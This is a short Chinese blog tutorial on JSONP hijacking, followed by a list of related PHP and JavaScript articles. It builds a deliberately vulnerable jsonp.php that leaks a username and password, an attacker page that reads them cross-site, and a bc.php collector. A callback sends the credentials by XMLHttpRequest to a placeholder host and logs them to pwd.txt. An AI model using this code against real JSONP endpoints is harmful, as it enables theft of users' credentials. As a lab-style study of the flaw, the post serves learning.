Jsonp劫持学习


Posted in PHP onApril 01, 2021

实验

劫持原理网上这张图很形象

Jsonp劫持学习

首先我们准备一个jsonp.php,简单的写了一个

<?php
header('Content-type: application/json');
$jsoncallback = htmlspecialchars($_REQUEST ['jsoncallback']);//获取回调函数名
if(isset($_REQUEST['jsoncallback'])){
    if($_REQUEST['jsoncallback']=="callbackFunction"){
        $json_data='({"id":"1","name":"Y4tacker","password":"Y4tackerTestPasswd"})';
        
    }else {
        $json_data='({"info":"error"})';
    }
    echo $jsoncallback . "(" . $json_data . ")";//输出jsonp格式的数据
}
?>

此时我们访问http://xxxxxx/jsonp.php?jsoncallback=callbackFunction

会得到返回信息

callbackFunction(({"id":"1","name":"Y4tacker","password":"Y4tackerTestPasswd"}))

我们此时再准备一个hack.html页面,内容为

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Test</title>
</head>
<body>
<script type="text/javascript">
function callbackFunction(result)
        {
            alert("username:"+result.name+" password:"+result.password);
        }
</script>
<script type="text/javascript" src="http://xxxxx/jsonp.php?jsoncallback=callbackFunction"></script>
</body>
</html>

如果受害者访问这个页面就会有个xss弹窗,弹出关键信息,

当然我们还可以更进一步的利用,讲内容保存到本地服务器,bc.php

<?php
$username=$_GET['username'];
$password=$_GET['password'];
$data="用户名:".$username."密码:".$password.PHP_EOL;
file_put_contents("pwd.txt",$data);
?>

再修改上面的callbackFuction,发起一个ajax请求即可,可以用layui这些封装好的,也可以原生内容

function callbackFunction(result)
        {
            var username=result.name;
            var password=result.password;
            const requests=new XMLHttpRequest();
            const url="http://xxxxxx/bc.php?username="+username+"&password="+password;
            requests.open("GET",url);
            requests.send();
        }

学习完毕

PHP 相关文章推荐
在PHP中利用XML技术构造远程服务(下)
Oct 09 PHP
使用PHP数组实现无限分类,不使用数据库,不使用递归.
Dec 09 PHP
深入理解PHP原理之异常机制
Aug 21 PHP
WordPress判断用户是否登录的代码
Mar 17 PHP
PHP高级对象构建 多个构造函数的使用
Feb 05 PHP
Php中用PDO查询Mysql来避免SQL注入风险的方法
Apr 25 PHP
PHP实现发送邮件的方法(基于简单邮件发送类)
Dec 17 PHP
PHP创建文件,并向文件中写入数据,覆盖,追加的实现代码
Mar 25 PHP
PHP实现的MD5结合RSA签名算法实例
Oct 07 PHP
PHP getID3类的使用方法学习笔记【附getID3源码下载】
Oct 18 PHP
Yii框架应用组件用法实例分析
May 15 PHP
ThinkPHP 5 AJAX跨域请求头设置实现过程解析
Oct 28 PHP
利用ajax+php实现商品价格计算
php微信小程序解包过程实例详解
Mar 31 #PHP
ThinkPHP5和ThinkPHP6的区别
Mar 31 #PHP
PHP基本语法
PHP中->和=>的意思
Mar 31 #PHP
Mac M1安装mnmp (Mac+Nginx+MySQL+PHP) 开发环境
Laravel中Kafka的使用详解
Mar 24 #PHP
You might like
使用sockets:从新闻组中获取文章(三)
2006/10/09 PHP
PHP中数组的三种排序方法分享
2012/05/07 PHP
PHP使用内置函数file_put_contents写入文件及追加内容的方法
2015/12/07 PHP
Apply an AutoFormat to an Excel Spreadsheet
2007/06/12 Javascript
JSONP 跨域共享信息
2012/08/16 Javascript
纯js网页画板(Graphics)类简介及实现代码
2012/12/24 Javascript
jquery实现的Banner广告收缩效果代码
2015/09/02 Javascript
js正则表达式replace替换变量方法
2016/05/21 Javascript
微信小程序 配置文件详细介绍
2016/12/14 Javascript
AngularJS使用拦截器实现的loading功能完整实例
2017/05/17 Javascript
详解Angular-cli生成组件修改css成less或sass的实例
2017/07/27 Javascript
AngularJS 购物车全选/取消全选功能的实现方法
2017/08/14 Javascript
JS实现基于拖拽改变物体大小的方法
2018/01/23 Javascript
对layui中表单元素的使用详解
2018/08/15 Javascript
React 实现车牌键盘的示例代码
2019/12/20 Javascript
[57:18]DOTA2上海特级锦标赛主赛事日 - 1 败者组第一轮#3VP VS VG
2016/03/03 DOTA
python将字符串转换成数组的方法
2015/04/29 Python
利用python获取当前日期前后N天或N月日期的方法示例
2017/07/30 Python
Python实现的简单计算器功能详解
2018/08/25 Python
详解python调用cmd命令三种方法
2019/07/08 Python
python 字符串的驻留机制及优缺点
2020/06/19 Python
matplotlib基础绘图命令之errorbar的使用
2020/08/13 Python
HTML5 Canvas绘制文本及图片的基础教程
2016/03/14 HTML / CSS
如何避免常见的6种HTML5错误用法
2017/11/06 HTML / CSS
Mio Skincare中文官网:肌肤和身体护理
2016/10/26 全球购物
Belvilla德国:在线预订度假屋
2018/04/10 全球购物
HSRP的含义以及如何工作
2014/09/10 面试题
专科文秘应届生求职信
2013/11/18 职场文书
《莫高窟》教学反思
2014/02/25 职场文书
党员2014两会学习心得体会
2014/03/17 职场文书
政府门卫岗位职责
2014/04/29 职场文书
重大事项社会稳定风险评估方案
2014/06/15 职场文书
党员群众路线对照检查材料
2014/08/31 职场文书
MySQL命令行操作时的编码问题详解
2021/04/14 MySQL
《Estab Life》4月6日播出 正式PV、主视觉图公开
2022/03/20 日漫
Mysql使用全文索引(FullText index)的实例代码
2022/04/03 MySQL